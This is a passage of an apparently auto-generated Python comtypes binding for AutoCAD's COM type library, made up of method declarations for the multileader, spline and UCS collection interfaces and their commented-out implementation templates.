'LeaderLineColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'Type' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'LeaderLinetype',\n ( ['out', 'retval'], POINTER(ACAD_LTYPE), 'Linetype' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'LeaderLinetype',\n ( ['in'], ACAD_LTYPE, 'Linetype' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'LeaderLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'Lineweight' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'LeaderLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'Lineweight' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'ArrowheadType',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'BlockName' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'ArrowheadType',\n ( ['in'], AcDimArrowheadType, 'BlockName' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'ArrowheadSize',\n ( ['out', 'retval'], POINTER(c_double), 'size' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'ArrowheadSize',\n ( ['in'], c_double, 'size' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'DogLegged',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'val' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'DogLegged',\n ( ['in'], VARIANT_BOOL, 'val' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'DoglegLength',\n ( ['out', 'retval'], POINTER(c_double), 'DoglegLength' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'DoglegLength',\n ( ['in'], c_double, 'DoglegLength' )),\n COMMETHOD([dispid(9), 'nonbrowsable', 'propget'], HRESULT, 'ContentBlockName',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(9), 'nonbrowsable', 'propput'], HRESULT, 'ContentBlockName',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'BlockConnectionType',\n ( ['out', 'retval'], POINTER(AcBlockConnectionType), 'Type' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'BlockConnectionType',\n ( ['in'], AcBlockConnectionType, 'Type' )),\n COMMETHOD([dispid(51), 'propget'], HRESULT, 'BlockScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'factor' )),\n COMMETHOD([dispid(51), 'propput'], HRESULT, 'BlockScale',\n ( ['in'], ACAD_NOUNITS, 'factor' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'TextString',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrText' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'TextString',\n ( ['in'], BSTR, 'bstrText' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'TextStyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'TextStyleName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'TextJustify',\n ( ['out', 'retval'], POINTER(AcAttachmentPoint), 'attPoint' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'TextJustify',\n ( ['in'], AcAttachmentPoint, 'attPoint' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'TextDirection',\n ( ['out', 'retval'], POINTER(AcDrawingDirection), 'drawDir' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'TextDirection',\n ( ['in'], AcDrawingDirection, 'drawDir' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'TextWidth',\n ( ['out', 'retval'], POINTER(c_double), 'Width' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'TextWidth',\n ( ['in'], c_double, 'Width' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'TextHeight',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'TextHeight',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'TextRotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'rotAngle' )),\n COMMETHOD([dispid(17), 'propput'], HRESULT, 'TextRotation',\n ( ['in'], ACAD_ANGLE, 'rotAngle' )),\n COMMETHOD([dispid(18), 'propget'], HRESULT, 'TextLineSpacingFactor',\n ( ['out', 'retval'], POINTER(c_double), 'factor' )),\n COMMETHOD([dispid(18), 'propput'], HRESULT, 'TextLineSpacingFactor',\n ( ['in'], c_double, 'factor' )),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'TextLineSpacingDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Value' )),\n COMMETHOD([dispid(19), 'propput'], HRESULT, 'TextLineSpacingDistance',\n ( ['in'], c_double, 'Value' )),\n COMMETHOD([dispid(20), 'propget'], HRESULT, 'TextLineSpacingStyle',\n ( ['out', 'retval'], POINTER(AcLineSpacingStyle), 'style' )),\n COMMETHOD([dispid(20), 'propput'], HRESULT, 'TextLineSpacingStyle',\n ( ['in'], AcLineSpacingStyle, 'style' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'TextBackgroundFill',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bUseBackgroundFill' )),\n COMMETHOD([dispid(21), 'propput'], HRESULT, 'TextBackgroundFill',\n ( ['in'], VARIANT_BOOL, 'bUseBackgroundFill' )),\n COMMETHOD([dispid(48), 'propget'], HRESULT, 'TextAttachmentDirection',\n ( ['out', 'retval'], POINTER(AcTextAttachmentDirection), 'dir' )),\n COMMETHOD([dispid(48), 'propput'], HRESULT, 'TextAttachmentDirection',\n ( ['in'], AcTextAttachmentDirection, 'dir' )),\n COMMETHOD([dispid(22), 'propget'], HRESULT, 'TextLeftAttachmentType',\n ( ['out', 'retval'], POINTER(AcTextAttachmentType), 'Type' )),\n COMMETHOD([dispid(22), 'propput'], HRESULT, 'TextLeftAttachmentType',\n ( ['in'], AcTextAttachmentType, 'Type' )),\n COMMETHOD([dispid(43), 'propget'], HRESULT, 'TextRightAttachmentType',\n ( ['out', 'retval'], POINTER(AcTextAttachmentType), 'Type' )),\n COMMETHOD([dispid(43), 'propput'], HRESULT, 'TextRightAttachmentType',\n ( ['in'], AcTextAttachmentType, 'Type' )),\n COMMETHOD([dispid(49), 'propget'], HRESULT, 'TextTopAttachmentType',\n ( ['out', 'retval'], POINTER(AcVerticalTextAttachmentType), 'Type' )),\n COMMETHOD([dispid(49), 'propput'], HRESULT, 'TextTopAttachmentType',\n ( ['in'], AcVerticalTextAttachmentType, 'Type' )),\n COMMETHOD([dispid(50), 'propget'], HRESULT, 'TextBottomAttachmentType',\n ( ['out', 'retval'], POINTER(AcVerticalTextAttachmentType), 'Type' )),\n COMMETHOD([dispid(50), 'propput'], HRESULT, 'TextBottomAttachmentType',\n ( ['in'], AcVerticalTextAttachmentType, 'Type' )),\n COMMETHOD([dispid(23), 'propget'], HRESULT, 'LandingGap',\n ( ['out', 'retval'], POINTER(c_double), 'gap' )),\n COMMETHOD([dispid(23), 'propput'], HRESULT, 'LandingGap',\n ( ['in'], c_double, 'gap' )),\n COMMETHOD([dispid(24), 'nonbrowsable', 'propget'], HRESULT, 'ArrowheadBlock',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(24), 'nonbrowsable', 'propput'], HRESULT, 'ArrowheadBlock',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(25), 'propget'], HRESULT, 'ContentBlockType',\n ( ['out', 'retval'], POINTER(AcPredefBlockType), 'Type' )),\n COMMETHOD([dispid(25), 'propput'], HRESULT, 'ContentBlockType',\n ( ['in'], AcPredefBlockType, 'Type' )),\n COMMETHOD([dispid(26), 'nonbrowsable', 'propget'], HRESULT, 'LeaderCount',\n ( ['out', 'retval'], POINTER(c_int), 'number' )),\n COMMETHOD([dispid(27)], HRESULT, 'AddLeader',\n ( ['out', 'retval'], POINTER(c_int), 'leaderIndex' )),\n COMMETHOD([dispid(28)], HRESULT, 'RemoveLeader',\n ( ['in'], c_int, 'leaderIndex' )),\n COMMETHOD([dispid(29)], HRESULT, 'AddLeaderLine',\n ( ['in'], c_int, 'leaderIndex' ),\n ( ['in'], VARIANT, 'pointArray' ),\n ( ['out', 'retval'], POINTER(c_int), 'leaderLineIndex' )),\n COMMETHOD([dispid(30)], HRESULT, 'AddLeaderLineEx',\n ( ['in'], VARIANT, 'pointArray' ),\n ( ['out', 'retval'], POINTER(c_int), 'leaderLineIndex' )),\n COMMETHOD([dispid(31)], HRESULT, 'RemoveLeaderLine',\n ( ['in'], c_int, 'leaderLineIndex' )),\n COMMETHOD([dispid(32)], HRESULT, 'SetLeaderLineVertices',\n ( ['in'], c_int, 'leaderLineIndex' ),\n ( ['in'], VARIANT, 'pointArray' )),\n COMMETHOD([dispid(33)], HRESULT, 'GetLeaderLineVertices',\n ( ['in'], c_int, 'leaderLineIndex' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pointArray' )),\n COMMETHOD([dispid(34), 'nonbrowsable', 'propput'], HRESULT, 'ContentType',\n ( ['in'], AcMLeaderContentType, 'Type' )),\n COMMETHOD([dispid(34), 'nonbrowsable', 'propget'], HRESULT, 'ContentType',\n ( ['out', 'retval'], POINTER(AcMLeaderContentType), 'Type' )),\n COMMETHOD([dispid(35)], HRESULT, 'GetLeaderIndex',\n ( ['in'], c_int, 'leaderLineIndex' ),\n ( ['out', 'retval'], POINTER(c_int), 'leaderIndex' )),\n COMMETHOD([dispid(36)], HRESULT, 'GetLeaderLineIndexes',\n ( ['in'], c_int, 'leaderIndex' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'leaderLineIndexes' )),\n COMMETHOD([dispid(37)], HRESULT, 'GetVertexCount',\n ( ['in'], c_int, 'leaderLineIndex' ),\n ( ['out', 'retval'], POINTER(c_int), 'number' )),\n COMMETHOD([dispid(39), 'propget'], HRESULT, 'TextFrameDisplay',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(39), 'propput'], HRESULT, 'TextFrameDisplay',\n ( ['in'], VARIANT_BOOL, 'pVal' )),\n COMMETHOD([dispid(40), 'propget'], HRESULT, 'StyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(40), 'propput'], HRESULT, 'StyleName',\n ( ['in'], BSTR, 'Name' )),\n COMMETHOD([dispid(41)], HRESULT, 'GetDoglegDirection',\n ( ['in'], c_int, 'leaderIndex' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'dirVec' )),\n COMMETHOD([dispid(42)], HRESULT, 'SetDoglegDirection',\n ( ['in'], c_int, 'leaderIndex' ),\n ( ['in'], VARIANT, 'dirVec' )),\n COMMETHOD([dispid(44)], HRESULT, 'GetBlockAttributeValue',\n ( ['in'], LONG_PTR, 'attdefId' ),\n ( ['out', 'retval'], POINTER(BSTR), 'Value' )),\n COMMETHOD([dispid(45)], HRESULT, 'SetBlockAttributeValue',\n ( ['in'], LONG_PTR, 'attdefId' ),\n ( ['in'], BSTR, 'Value' )),\n]\n################################################################\n## code template for IAcadMLeader implementation\n##class IAcadMLeader_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## ScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## LeaderType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## LeaderLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## LeaderLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Lineweight\n## def _set(self, Lineweight):\n## '-no docstring-'\n## LeaderLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## ArrowheadType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return size\n## def _set(self, size):\n## '-no docstring-'\n## ArrowheadSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return val\n## def _set(self, val):\n## '-no docstring-'\n## DogLegged = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return DoglegLength\n## def _set(self, DoglegLength):\n## '-no docstring-'\n## DoglegLength = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## ContentBlockName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## BlockConnectionType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## BlockScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrText\n## def _set(self, bstrText):\n## '-no docstring-'\n## TextString = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## TextStyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return attPoint\n## def _set(self, attPoint):\n## '-no docstring-'\n## TextJustify = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return drawDir\n## def _set(self, drawDir):\n## '-no docstring-'\n## TextDirection = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Width\n## def _set(self, Width):\n## '-no docstring-'\n## TextWidth = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## TextHeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return rotAngle\n## def _set(self, rotAngle):\n## '-no docstring-'\n## TextRotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## TextLineSpacingFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Value\n## def _set(self, Value):\n## '-no docstring-'\n## TextLineSpacingDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return style\n## def _set(self, style):\n## '-no docstring-'\n## TextLineSpacingStyle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bUseBackgroundFill\n## def _set(self, bUseBackgroundFill):\n## '-no docstring-'\n## TextBackgroundFill = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return dir\n## def _set(self, dir):\n## '-no docstring-'\n## TextAttachmentDirection = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## TextLeftAttachmentType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## TextRightAttachmentType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## TextTopAttachmentType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## TextBottomAttachmentType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return gap\n## def _set(self, gap):\n## '-no docstring-'\n## LandingGap = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## ArrowheadBlock = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## ContentBlockType = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def LeaderCount(self):\n## '-no docstring-'\n## #return number\n##\n## def AddLeader(self):\n## '-no docstring-'\n## #return leaderIndex\n##\n## def RemoveLeader(self, leaderIndex):\n## '-no docstring-'\n## #return \n##\n## def AddLeaderLine(self, leaderIndex, pointArray):\n## '-no docstring-'\n## #return leaderLineIndex\n##\n## def AddLeaderLineEx(self, pointArray):\n## '-no docstring-'\n## #return leaderLineIndex\n##\n## def RemoveLeaderLine(self, leaderLineIndex):\n## '-no docstring-'\n## #return \n##\n## def SetLeaderLineVertices(self, leaderLineIndex, pointArray):\n## '-no docstring-'\n## #return \n##\n## def GetLeaderLineVertices(self, leaderLineIndex):\n## '-no docstring-'\n## #return pointArray\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## ContentType = property(_get, _set, doc = _set.__doc__)\n##\n## def GetLeaderIndex(self, leaderLineIndex):\n## '-no docstring-'\n## #return leaderIndex\n##\n## def GetLeaderLineIndexes(self, leaderIndex):\n## '-no docstring-'\n## #return leaderLineIndexes\n##\n## def GetVertexCount(self, leaderLineIndex):\n## '-no docstring-'\n## #return number\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## TextFrameDisplay = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Name\n## def _set(self, Name):\n## '-no docstring-'\n## StyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def GetDoglegDirection(self, leaderIndex):\n## '-no docstring-'\n## #return dirVec\n##\n## def SetDoglegDirection(self, leaderIndex, dirVec):\n## '-no docstring-'\n## #return \n##\n## def GetBlockAttributeValue(self, attdefId):\n## '-no docstring-'\n## #return Value\n##\n## def SetBlockAttributeValue(self, attdefId, Value):\n## '-no docstring-'\n## #return \n##\n\nIAcadSpline._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'NumberOfControlPoints',\n ( ['out', 'retval'], POINTER(c_int), 'numCtrlPoints' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'ControlPoints',\n ( ['out', 'retval'], POINTER(VARIANT), 'controlPoint' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'ControlPoints',\n ( ['in'], VARIANT, 'controlPoint' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'NumberOfFitPoints',\n ( ['out', 'retval'], POINTER(c_int), 'numFitPoints' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'FitPoints',\n ( ['out', 'retval'], POINTER(VARIANT), 'fitPoint' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'FitPoints',\n ( ['in'], VARIANT, 'fitPoint' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Degree',\n ( ['out', 'retval'], POINTER(c_int), 'Degree' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Closed',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'fClose' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'IsPlanar',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'fPlanar' )),\n COMMETHOD([dispid(8), 'nonbrowsable', 'propget'], HRESULT, 'IsRational',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'fRational' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'IsPeriodic',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'fPeriodic' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'StartTangent',\n ( ['out', 'retval'], POINTER(VARIANT), 'StartTangent' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'StartTangent',\n ( ['in'], VARIANT, 'StartTangent' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'EndTangent',\n ( ['out', 'retval'], POINTER(VARIANT), 'EndTangent' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'EndTangent',\n ( ['in'], VARIANT, 'EndTangent' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'FitTolerance',\n ( ['out', 'retval'], POINTER(c_double), 'fitTol' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'FitTolerance',\n ( ['in'], c_double, 'fitTol' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'Area',\n ( ['out', 'retval'], POINTER(c_double), 'Area' )),\n COMMETHOD([dispid(14)], HRESULT, 'SetControlPoint',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'controlPoint' )),\n COMMETHOD([dispid(15)], HRESULT, 'GetControlPoint',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'controlPoint' )),\n COMMETHOD([dispid(16)], HRESULT, 'SetFitPoint',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'fitPoint' )),\n COMMETHOD([dispid(17)], HRESULT, 'GetFitPoint',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'fitPoint' )),\n COMMETHOD([dispid(18)], HRESULT, 'SetWeight',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], c_double, 'weight' )),\n COMMETHOD([dispid(19)], HRESULT, 'GetWeight',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(c_double), 'weight' )),\n COMMETHOD([dispid(20)], HRESULT, 'AddFitPoint',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'fitPoint' )),\n COMMETHOD([dispid(21)], HRESULT, 'DeleteFitPoint',\n ( ['in'], c_int, 'Index' )),\n COMMETHOD([dispid(22)], HRESULT, 'ElevateOrder',\n ( ['in'], c_int, 'Order' )),\n COMMETHOD([dispid(23)], HRESULT, 'Offset',\n ( ['in'], c_double, 'Distance' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pOffsetCurves' )),\n COMMETHOD([dispid(24)], HRESULT, 'PurgeFitData'),\n COMMETHOD([dispid(25)], HRESULT, 'Reverse'),\n COMMETHOD([dispid(26), 'nonbrowsable', 'propget'], HRESULT, 'Knots',\n ( ['out', 'retval'], POINTER(VARIANT), 'KnotValues' )),\n COMMETHOD([dispid(26), 'nonbrowsable', 'propput'], HRESULT, 'Knots',\n ( ['in'], VARIANT, 'KnotValues' )),\n COMMETHOD([dispid(27), 'nonbrowsable', 'propget'], HRESULT, 'Weights',\n ( ['out', 'retval'], POINTER(VARIANT), 'WeightValues' )),\n COMMETHOD([dispid(27), 'nonbrowsable', 'propput'], HRESULT, 'Weights',\n ( ['in'], VARIANT, 'WeightValues' )),\n COMMETHOD([dispid(28), 'propget'], HRESULT, 'KnotParameterization',\n ( ['out', 'retval'], POINTER(AcSplineKnotParameterizationType), 'knotParamVal' )),\n COMMETHOD([dispid(28), 'propput'], HRESULT, 'KnotParameterization',\n ( ['in'], AcSplineKnotParameterizationType, 'knotParamVal' )),\n COMMETHOD([dispid(29), 'propget'], HRESULT, 'SplineFrame',\n ( ['out', 'retval'], POINTER(AcSplineFrameType), 'show' )),\n COMMETHOD([dispid(29), 'propput'], HRESULT, 'SplineFrame',\n ( ['in'], AcSplineFrameType, 'show' )),\n COMMETHOD([dispid(30), 'propget'], HRESULT, 'SplineMethod',\n ( ['out', 'retval'], POINTER(AcSplineMethodType), 'method' )),\n COMMETHOD([dispid(30), 'propput'], HRESULT, 'SplineMethod',\n ( ['in'], AcSplineMethodType, 'method' )),\n COMMETHOD([dispid(31), 'propput'], HRESULT, 'Degree2',\n ( ['in'], c_int, 'Degree' )),\n COMMETHOD([dispid(31), 'propget'], HRESULT, 'Degree2',\n ( ['out', 'retval'], POINTER(c_int), 'Degree' )),\n COMMETHOD([dispid(32), 'propput'], HRESULT, 'Closed2',\n ( ['in'], VARIANT_BOOL, 'fClose' )),\n COMMETHOD([dispid(32), 'propget'], HRESULT, 'Closed2',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'fClose' )),\n]\n################################################################\n## code template for IAcadSpline implementation\n##class IAcadSpline_Impl(object):\n## @property\n## def NumberOfControlPoints(self):\n## '-no docstring-'\n## #return numCtrlPoints\n##\n## def _get(self):\n## '-no docstring-'\n## #return controlPoint\n## def _set(self, controlPoint):\n## '-no docstring-'\n## ControlPoints = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def NumberOfFitPoints(self):\n## '-no docstring-'\n## #return numFitPoints\n##\n## def _get(self):\n## '-no docstring-'\n## #return fitPoint\n## def _set(self, fitPoint):\n## '-no docstring-'\n## FitPoints = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Degree(self):\n## '-no docstring-'\n## #return Degree\n##\n## @property\n## def Closed(self):\n## '-no docstring-'\n## #return fClose\n##\n## @property\n## def IsPlanar(self):\n## '-no docstring-'\n## #return fPlanar\n##\n## @property\n## def IsRational(self):\n## '-no docstring-'\n## #return fRational\n##\n## @property\n## def IsPeriodic(self):\n## '-no docstring-'\n## #return fPeriodic\n##\n## def _get(self):\n## '-no docstring-'\n## #return StartTangent\n## def _set(self, StartTangent):\n## '-no docstring-'\n## StartTangent = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return EndTangent\n## def _set(self, EndTangent):\n## '-no docstring-'\n## EndTangent = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fitTol\n## def _set(self, fitTol):\n## '-no docstring-'\n## FitTolerance = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Area(self):\n## '-no docstring-'\n## #return Area\n##\n## def SetControlPoint(self, Index, controlPoint):\n## '-no docstring-'\n## #return \n##\n## def GetControlPoint(self, Index):\n## '-no docstring-'\n## #return controlPoint\n##\n## def SetFitPoint(self, Index, fitPoint):\n## '-no docstring-'\n## #return \n##\n## def GetFitPoint(self, Index):\n## '-no docstring-'\n## #return fitPoint\n##\n## def SetWeight(self, Index, weight):\n## '-no docstring-'\n## #return \n##\n## def GetWeight(self, Index):\n## '-no docstring-'\n## #return weight\n##\n## def AddFitPoint(self, Index, fitPoint):\n## '-no docstring-'\n## #return \n##\n## def DeleteFitPoint(self, Index):\n## '-no docstring-'\n## #return \n##\n## def ElevateOrder(self, Order):\n## '-no docstring-'\n## #return \n##\n## def Offset(self, Distance):\n## '-no docstring-'\n## #return pOffsetCurves\n##\n## def PurgeFitData(self):\n## '-no docstring-'\n## #return \n##\n## def Reverse(self):\n## '-no docstring-'\n## #return \n##\n## def _get(self):\n## '-no docstring-'\n## #return KnotValues\n## def _set(self, KnotValues):\n## '-no docstring-'\n## Knots = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return WeightValues\n## def _set(self, WeightValues):\n## '-no docstring-'\n## Weights = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return knotParamVal\n## def _set(self, knotParamVal):\n## '-no docstring-'\n## KnotParameterization = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return show\n## def _set(self, show):\n## '-no docstring-'\n## SplineFrame = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return method\n## def _set(self, method):\n## '-no docstring-'\n## SplineMethod = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Degree\n## def _set(self, Degree):\n## '-no docstring-'\n## Degree2 = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fClose\n## def _set(self, fClose):\n## '-no docstring-'\n## Closed2 = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadDwfUnderlay(CoClass):\n _reg_clsid_ = GUID('{9C5DE14C-C805-4582-BE0F-20941DCB919E}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadDwfUnderlay._com_interfaces_ = [IAcadUnderlay, IAcadDwfUnderlay]\nAcadDwfUnderlay._outgoing_interfaces_ = [IAcadObjectEvents]\n\nIAcadUCSs._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadUCS)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pCount' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'Add',\n ( ['in'], VARIANT, 'Origin' ),\n ( ['in'], VARIANT, 'XAxisPoint' ),\n ( ['in'], VARIANT, 'YAxisPoint' ),\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadUCS)), 'pUCS' )),\n]\n################################################################\n## code template for IAcadUCSs implementation\n##class IAcadUCSs_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## 